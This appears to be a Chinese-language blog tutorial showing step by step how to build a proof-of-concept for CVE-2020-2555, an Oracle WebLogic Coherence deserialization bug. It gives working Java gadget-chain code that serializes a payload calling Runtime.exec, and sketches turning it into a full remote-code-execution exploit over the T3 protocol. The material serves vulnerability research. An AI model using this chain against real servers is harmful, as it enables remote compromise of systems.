教你一步一步构造CVE-2020-2555 POC
1、前言
欸欸欸,不想写论文,起床发现https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server爆出CVE-2020-2555新的gadget细节了,打发打发时间试着写写POC。本文POC构造将会比较详细,挖JDK gadget大佬自动略过吧,还有本文只是POC,不包含exp,那些想要exp的大佬们也直接略过吧,但是你好好读文章构造出exp也不是什么难事,最后会给出exp的思路。
2、gadget分析思路
漏洞的gadget如下,需要导入coherence.jar,weblogic12.3.6 lib包下有:
先抛开上面的gadget总结一下挖掘java反序列化的思路如下:
挖掘java反序列化的思路
1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)
反序列化漏洞的挖掘,本质上就是一个已知source和sink,如何走通整个调用流程的问题。在这里的source,可以包括
- Java原生的反序列化,即通过ObjectInputStream.readObject(),处理二进制格式内容,得到Java对象
- 专有格式的反序列化,例如通过Fastjson, Xstream等第三方库,处理json, xml等格式内容,得到Java对象
执行目标sink,包括:
- Runtime.exec(),这种最为简单直接,即直接在目标环境中执行命令
- Method.invoke(),这种需要适当地选择方法和参数,通过反射执行Java方法
- RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行的效果
从source出发,递归检查其所有方法调用,如果能够执行到sink就是一条gadget。
拿这条gadget举例,source入口点是BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这条gadget就是通过BadAttributeValueExpException触发的。sink点则是Method.invoke()通过反射方法执行
3、POC构造过程
构造poc首先从sink点触发,ReflectionExtractor类的extract函数
所以构造如下代码是可以弹计算器的:
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
}
反射方式触发:
再往上回溯,谁触发extract函数,这就找到LimitFilter类的toString()方法:
在写段代码:
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
limitFilter.toString();
}
将runtime对象赋值给m_oAnchorTop
limitFilter.setTopAnchor(runtime);
将reflectionExtractor赋值给m_comparator
limitFilter.setComparator(reflectionExtractor);
看图的标注,执行2就相当于执行 reflectionExtractor.extract(runtime)
,就跟POC1构造的一样了。
效果就是这样:
在向上回溯,谁触发LimitFilter类的toString()。这也就来到的source入口点,通过BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这就是通过BadAttributeValueExpException触发的。所以要想看明白这里需要先看懂CommonsCollections5,可以看我博客写的:https://www.cnblogs.com/afanti/p/10199235.html,之前读CommonsCollections5,做的笔记如下:
重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,就会调用BadAttributeValueExpException的val = valObj.toString();
这就好办了,把val赋值为limitFilter就会调用limitFilter的toString方法,自此打通了整条gadgets。
在写一段POC:
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
然鹅,在执行时会报如下错误,Runtime这个类没实现序列化接口,小问题:
首先先自定义一个危险类,如下:
import java.io.IOException;
import java.io.Serializable;
public class Afanti implements Serializable {
public void exec(String shell) throws IOException {
Runtime.getRuntime().exec(shell);
}
}
完整POC如下:
Afanti afanti = new Afanti();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(afanti);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
调用栈如下,跟文章给的图片一样。
4 、思路总结
本文只是教大家怎么写POC,exp就不给出来了提一提思路。既然能够执行实现序列化接口类的任意方法,参数可控,exp构造就不难了。比如:可以找一个类,类的函数有执行代码操作或者文件操作或者反序列化操作又或者jndi注入之类的。这样的类一抓一大把,会构造CVE-2019-2725的,自然知道exp怎么写。写完exp,通过t3协议发包,RCE一发入魂。最后提醒大家一点要想构造jndi的exp,jdk版本得选对,要不会遇到很多坑。(想要找危险类的可以试试我写的这篇文章的工具,改改正则:https://www.anquanke.com/post/id/199703)
参考链接:
https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.cnblogs.com/afanti/p/10199235.html